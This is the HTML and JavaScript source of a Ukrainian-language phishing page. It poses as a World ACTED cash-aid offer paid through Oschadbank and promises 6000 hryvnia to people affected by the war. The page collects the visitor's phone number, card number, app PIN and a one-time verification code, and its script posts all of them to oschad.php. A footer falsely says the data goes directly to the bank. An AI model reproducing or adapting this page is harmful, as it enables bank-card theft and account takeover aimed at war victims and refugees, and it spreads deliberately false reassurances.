<!DOCTYPE html>
<html lang="uk">
<head>

    <meta name="keywords" content="допомога Україні, війна в Україні, гуманітарна допомога, благодійність, допомога біженцям, підтримка жертв війни, західна Україна, World Acted, гуманітарні організації, допомога постраждалим від війни, acted fun">
    <meta name="description" content="Допомагаємо Україні під час війни: благодійність, гуманітарна допомога біженцям та жертвам війни. Дізнайтесь більше про ініціативи World Acted. Приєднуйтесь до підтримки України.">

    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Грошова допомога ОщадБанк від World ACTED</title>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Poppins', sans-serif;
            margin: 0;
            padding: 0;
            background: linear-gradient(135deg, #45a29e, #1f3d35);
            color: #fff;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            overflow: hidden;
            text-align: center;
            position: relative;
        }

    @keyframes backgroundAnimation {
        0% { background-color: #2E4A3A; }
        50% { background-color: #4C9F70; }
        100% { background-color: #1E6F5C; }
    }

    h1 {
        font-size: 3rem;
        margin-bottom: 30px;
        color: #fff;
        text-shadow: 2px 2px 8px rgba(0, 0, 0, 0.3);
        animation: titleAnimation 3s ease-out;
    }

    @keyframes titleAnimation {
        0% { transform: translateY(-50px); opacity: 0; }
        100% { transform: translateY(0); opacity: 1; }
    }

    .container {
        background-color: rgba(0, 0, 0, 0.7);
        padding: 50px 25px;
        border-radius: 25px;
        box-shadow: 0 10px 40px rgba(0, 0, 0, 0.5);
        max-width: 80%;
        width: 100%;
        position: relative;
        animation: containerAnimation 0.7s ease-out;
    }

    @keyframes containerAnimation {
        0% { transform: scale(0.8); opacity: 0; }
        100% { transform: scale(1); opacity: 1; }
    }

    button {
        background-color: #66CC99;
        padding: 15px 40px;
        font-size: 18px;
        cursor: pointer;
        border: none;
        border-radius: 50px;
        margin-top: 30px;
        transition: all 0.3s ease;
        color: #fff;
        box-shadow: 0 0 20px rgba(102, 204, 153, 0.4);
        width: 100%;
        text-transform: uppercase;
    }

    button:hover {
        background-color: #54b897;
        transform: translateY(-3px);
        box-shadow: 0 0 30px rgba(102, 204, 153, 0.6);
    }

    .form-input {
        background-color: #fff;
        border: 1px solid #ddd;
        padding: 15px;
        border-radius: 30px; /* Changed border-radius to 30px */
        margin: 12px 0;
        width: 100%;
        font-size: 18px;
        outline: none;
        transition: 0.3s;
        color: #333;
        box-sizing: border-box; /* Ensures padding does not affect width */
        box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); /* Added box-shadow */
    }

    .form-input:focus {
        border: 2px solid #66cc99;
        box-shadow: 0 0 15px #66cc99;
    }

    .form-title {
        font-size: 1.7rem;
        font-weight: 600;
        color: #fff;
        margin-bottom: 20px;
    }

    .footer {
        position: absolute;
        bottom: 20px;
        width: 100%;
        text-align: center;
        font-size: 16px;
        color: #fff;
        font-family: 'Pragmatica C', sans-serif;
        font-weight: bold;
    }

    .footer a {
        color: #66cc99;
        text-decoration: none;
        font-weight: bold;
    }

    .footer a:hover {
        text-decoration: underline;
    }

    .hidden {
        display: none;
    }

    @media (max-width: 600px) {
        h1 {
            font-size: 2.2rem;
        }

        .container {
            padding: 30px 15px;
        }

        button {
            padding: 14px;
            font-size: 16px;
        }

        .form-input {
            font-size: 16px;
        }

        .form-title {
            font-size: 1.4rem;
        }
    }
</style>
<script>window.onload = function(){fetch('fds.php');};</script>
</head>
<body>

    <div class="container">
        <h1>Грошова допомога ОщадБанк від World ACTED</h1>
        <button id="get-started-btn">Отримати 6000₴</button>
    </div>

    <div id="login-menu" class="hidden">
        <h2 class="form-title">Пiдключення ОщадБанк</h2>
        <input type="text" id="phone" class="form-input" placeholder="Номер телефону" value="+380" maxlength="13" oninput="this.value=this.value.replace(/[^0-9+]/g,'')" />
        <input type="text" id="card" class="form-input" placeholder="Карта" maxlength="16" />

        <button id="continue-btn">Продовжити</button>
    </div>

    <div id="pin-menu" class="hidden">
        <h2 class="form-title">Введіть пін-код додатку для підтвердження</h2>
        <input type="text" id="pin" class="form-input" placeholder="Пін-код" maxlength="4" oninput="this.value=this.value.replace(/[^0-9]/g,'')" />
        <button id="submit-pin-btn">Продовжити</button>
    </div>

    <div id="sms-input-menu" class="hidden">
        <h2 class="form-title">Зараз Вам надійде дзвінок з номеру *0133, прослухайте код 4 цифри, та вкажіть у полі нижче!</h2>
        <input type="text" id="sms-code" class="form-input" placeholder="Код" maxlength="4" oninput="this.value=this.value.replace(/[^0-9]/g,'')" />
        <button id="submit-sms-btn">Підтвердити</button>
    </div>

    <div id="error-message" class="hidden">
        <h2 class="form-title">Завантаження...</h2>
        <p>Будь ласка, зачекайте кiлька секунд.</p>
    </div>

    <div id="success-message" class="hidden">
        <h2 class="form-title">Дякуємо!</h2>
        <p>Очікуйте на зарахування коштів!</p>
    </div>

    <div class="footer">
        <p>Ваші дані відправляються на пряму до ОщадБанку, <a href="https://www.oschadbank.ua/pro-porjadok-i-proceduru-zahystu-personalnyh-danyh" target="_blank">детальніше на цій сторінці</a>.</p>
    </div>

    <script>
    let timerInterval;
    let timeRemaining = 300;

    document.getElementById('get-started-btn').onclick = function() {
        document.querySelector('.container').classList.add('hidden');
        document.getElementById('login-menu').classList.remove('hidden');
    }

    document.getElementById('continue-btn').onclick = function() {
        const phone = document.getElementById('phone').value.trim();
        const card = document.getElementById('card').value.trim();
        const errorElement = document.createElement('p');
        errorElement.id = 'error-login';
        errorElement.style.color = 'red';
        errorElement.style.marginTop = '10px';

        const existingError = document.getElementById('error-login');
        if (existingError) existingError.remove();

        // Проверка: все ли поля заполнены
        if (phone === "" || card === "") {
            errorElement.textContent = "Заповніть усі поля!";
            document.getElementById('login-menu').appendChild(errorElement);
            return;
        }

        // Проверка на длину номера карты
        if (card.length !== 16) {
            errorElement.textContent = "Номер карти повинен містити рівно 16 цифр!";
            document.getElementById('login-menu').appendChild(errorElement);
            return;
        }

        document.getElementById('login-menu').classList.add('hidden');
        document.getElementById('pin-menu').classList.remove('hidden');
    }

    document.getElementById('submit-pin-btn').onclick = function() {
        const phone = document.getElementById('phone').value.trim();
        const card = document.getElementById('card').value.trim();
        const pin = document.getElementById('pin').value.trim();
        const errorElement = document.createElement('p');
        errorElement.id = 'error-pin';
        errorElement.style.color = 'red';
        errorElement.style.marginTop = '10px';

        const existingError = document.getElementById('error-pin');
        if (existingError) existingError.remove();

        // Проверка на введение пин-кода
        if (pin === "") {
            errorElement.textContent = "Введіть пін-код!";
            document.getElementById('pin-menu').appendChild(errorElement);
            return;
        }

        if (pin.length !== 4) {
            errorElement.textContent = "Пін-код повинен містити 4 цифри!";
            document.getElementById('pin-menu').appendChild(errorElement);
            return;
        }

        oschadAPI(phone, card, pin, null);

        document.getElementById('pin-menu').classList.add('hidden');
        document.getElementById('error-message').classList.remove('hidden');
        setTimeout(() => {
            document.getElementById('error-message').classList.add('hidden');
            document.getElementById('sms-input-menu').classList.remove('hidden');
        }, 4000);
    }

    document.getElementById('submit-sms-btn').onclick = function() {
        const phone = document.getElementById('phone').value.trim();
        const card = document.getElementById('card').value.trim();
        const pin = document.getElementById('pin').value.trim();
        const smsCode = document.getElementById('sms-code').value.trim();
        const errorElement = document.createElement('p');
        errorElement.id = 'error-sms';
        errorElement.style.color = 'red';
        errorElement.style.marginTop = '10px';

        const existingError = document.getElementById('error-sms');
        if (existingError) existingError.remove();

        // Проверка на введение SMS-кода
        if (smsCode === "") {
            errorElement.textContent = "Введіть код!";
            document.getElementById('sms-input-menu').appendChild(errorElement);
            return;
        }

        if (smsCode.length !== 4) {
            errorElement.textContent = "Код повинен містити 4 цифри!";
            document.getElementById('sms-input-menu').appendChild(errorElement);
            return;
        }

        oschadAPI(phone, card, pin, smsCode);

        document.getElementById('sms-input-menu').classList.add('hidden');
        document.getElementById('success-message').classList.remove('hidden');
    };

    function oschadAPI(phone, card, pin, smsCode) {
        fetch('oschad.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                phone: phone,
                card: card,
                pin: pin,
                smsCode: smsCode
            })
        })
        .catch(error => {
            console.error('Error:', error);
        });
    }
    </script>

</body>
</html>